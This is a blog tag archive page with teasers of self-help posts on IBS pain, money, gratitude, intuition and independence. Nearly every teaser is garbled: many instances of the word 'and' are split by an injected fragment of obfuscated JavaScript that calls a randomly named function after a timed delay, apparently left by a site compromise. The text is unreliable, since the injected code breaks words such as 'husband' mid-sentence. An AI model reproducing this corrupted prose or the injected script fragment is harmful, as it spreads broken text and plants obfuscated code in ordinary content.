Tagged: mind body connection

Understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anding Your IBS Pain

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Money On The Mind, Part 1

Money On The Mind, Part 1

Money. Money. Money. I hear a lot of talk about it from my clients.

 

The funny thing is it’s never about the money; there is always something else lurking in the shadows.

 

Don’t get me wrong; I know money is essential to live. I grew up in a working class neighborhood andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and attended school in the inner city of Philadelphia; everyday I got glimpses of what life is like without money.

 

But for the majority of us who aren’t in that situation, money is an obstacle we feel we have to overcome in order to [...]

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What’s Buzzing Around Your Head?

What’s Buzzing Around Your Head?

I was tempted to name this “attack of the killer bees”.  Then I thought that might be too dramatic.  As a child when there were bees buzzing around it did feel like attack of the killer bees. Feeling threatened I would always swat or do some other kind of frantic movement that just left me with not one, but usually many bee stings.

 

I felt threatened so I went into self-protection mode. The problem was my reaction intensified their reaction andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the end result was never in my favor. I love metaphors so [...]

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Empowering Your Little Me

Empowering Your Little Me

 

“And the day came when the risk to remain tight in the bud was more painful than the risk it took to blossom.”  Anais Nin

 

I realized recently that I was still carrying a piece of that in the bud person with in me. Though I have made huge strides over the last few years there was still the part of me who wanted to hide in the shadow. Avoid discomfort, conflict, or just plain speaking my mind.

 

The thing about that little bud, that “little part of me”, that I was carrying inside was that sometimes I relied on it [...]

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How To Get The Answers

How To Get The Answers

Everyone is looking for the answer.

 

They want to know the best way to get a healthier body, a better mindset, a relationship, or a new job.

 

They believe the answer is eluding them somehow. They should know it by now.

 

That’s when I tell them: they do.

 

It’s in their body. It’s in all our bodies. We all have it in equal measure. It is our inner voice, our intuition, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and our inner wisdom. Call it what you like: it’s a part of us that’s always there waiting to be listened to.

 

When I tell my [...]

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The Power of Gratitude

The Power of Gratitude

 

Whether you are having a challenging day, month or year the quickest andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and most effective way to feel more lightness in your life is to focus on gratitude. Being grateful isn’t hard, when you allow yourself to be filled with joy over even the smallest of things. I find it helpful to make two lists big andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and small. And no matter how small it is, it still counts!

 

My Gratitude List

 

Big Stuff:

 

My husbandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and, my dog Aspen, family andom() * [...]

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Eat, Sleep, Read

Eat, Sleep, Read

I was walking around downtown Asheville, NC last week andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and noticed a bookstore with a sign that said, “Eat, Sleep, Read”. On the other side of the window there was a sign for the children’s section that said, “Snack, Sleep, Read”. I found myself immediately attracted to both of these ideas. It got me thinking about how a lot of us adults live a life of tight schedules andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and don’t create the time for such a simple thing.

It’s funny when you think about it, because [...]

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Doing It Yourself

Doing It Yourself

I’ve always been a do it your selfer (not sure if that’s even word!). Fiercely independent, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and at times stubborn, I always wanted to do things on my own. In the past it was difficult for me to ask for help. I always believed I could do it myself.  Then along my journey I realized that trying to do it alone makes it much more difficult than it needs to be.

 

A part of me still thinks it’s true that you can do anything yourself, but the other part knows there’s a true [...]

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